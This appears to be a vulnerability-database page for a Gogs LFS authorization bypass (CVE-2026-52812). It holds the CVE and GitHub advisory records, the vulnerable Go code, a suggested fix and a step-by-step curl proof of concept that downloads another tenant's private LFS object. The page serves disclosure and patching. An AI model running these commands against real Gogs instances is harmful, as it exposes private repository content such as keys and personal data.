Vulnerability-Lookup

CVE-2026-52812 (GCVE-0-2026-52812)

Vulnerability from cvelistv5 – Published: 2026-06-24 20:32 – Updated: 2026-06-24 20:32

Title

Gogs: LFS dedupe path leaks private repo content across tenants

Summary

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-639 - Authorization Bypass Through User-Controlled Key
CWE-862 - Missing Authorization

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/gogs/gogs/security/advisories/…	x_refsource_CONFIRM
https://github.com/gogs/gogs/pull/8333	x_refsource_MISC
https://github.com/gogs/gogs/commit/f35a767af74e0…	x_refsource_MISC
https://github.com/gogs/gogs/releases/tag/v0.14.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gogs	gogs	Affected: < 0.14.3

Show details on NVD website

JSON

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "gogs",
          "vendor": "gogs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.14.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-345",
              "description": "CWE-345: Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-24T20:32:51.608Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
        },
        {
          "name": "https://github.com/gogs/gogs/pull/8333",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/pull/8333"
        },
        {
          "name": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
        },
        {
          "name": "https://github.com/gogs/gogs/releases/tag/v0.14.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
        }
      ],
      "source": {
        "advisory": "GHSA-6p9m-q3jp-47h4",
        "discovery": "UNKNOWN"
      },
      "title": "Gogs: LFS dedupe path leaks private repo content across tenants"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52812",
    "datePublished": "2026-06-24T20:32:51.608Z",
    "dateReserved": "2026-06-08T18:11:06.660Z",
    "dateUpdated": "2026-06-24T20:32:51.608Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-6P9M-Q3JP-47H4

Vulnerability from github – Published: 2026-06-23 17:10 – Updated: 2026-06-23 17:10

Summary

Gogs: LFS dedupe path leaks private repo content across tenants

Details

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
An OID known to be present in alice/secrets — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack — bob has only `$OID`, not `$VICTIM_BYTES`

unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK

# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go  # composite (RepoID, OID) PK — multiple repos can share an OID row

Impact

Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
Persistent: the (bob/scratch, OID) row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:10:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n    _, _ = io.Copy(io.Discard, rc)\n    return fi.Size(), nil          // \u2190 returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch \u2014 the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo\u0027s git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement \u2014 same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo\u0027s refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs \u2265 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` \u2014 leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim\u0027s prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH=\u0027-u alice:alice_password\u0027\nBOB_AUTH=\u0027-u bob:bob_password\u0027\n\nVICTIM_BYTES=\u0027victim secret content\u0027\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d\u0027 \u0027 -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -X PUT --data-binary @- \\\n  \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack \u2014 bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES   # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n  -H \u0027Accept: application/vnd.git-lfs+json\u0027 \\\n  -H \u0027Content-Type: application/vnd.git-lfs+json\u0027 \\\n  -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n  --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob\u0027s LFS endpoint. The on-disk OID file already exists\n#    so LocalStorage.Upload takes the dedupe shortcut: drains the body\n#    without hashing, returns alice\u0027s size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -X PUT --data-binary \u0027irrelevant attacker-controlled bytes\u0027 \\\n  \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# \u2192 HTTP/1.1 200 OK\n\n# 3. Download via bob\u0027s repo \u2014 gogs streams alice\u0027s bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# \u2192 victim secret content\nsha256sum /tmp/leaked | cut -d\u0027 \u0027 -f1\n# \u2192 matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n \u002763,114p\u0027 internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n \u002774,117p\u0027 internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n \u0027primaryKey\u0027 internal/database/lfs.go  # composite (RepoID, OID) PK \u2014 multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers \u2014 all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob\u0027s repo write access does not revoke prior binds. No artefact on victim\u0027s side beyond a 200 in the LFS access log.",
  "id": "GHSA-6p9m-q3jp-47h4",
  "modified": "2026-06-23T17:10:25Z",
  "published": "2026-06-23T17:10:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8333"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs: LFS dedupe path leaks private repo content across tenants"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-52812 (GCVE-0-2026-52812)

GHSA-6P9M-Q3JP-47H4

Reproduction prerequisites

Setup (testbed simulation of the victim's prior state)

Attack — bob has only $OID, not $VICTIM_BYTES

Independent confirmation against the source

Tags

Sightings

Nomenclature

Attack — bob has only `$OID`, not `$VICTIM_BYTES`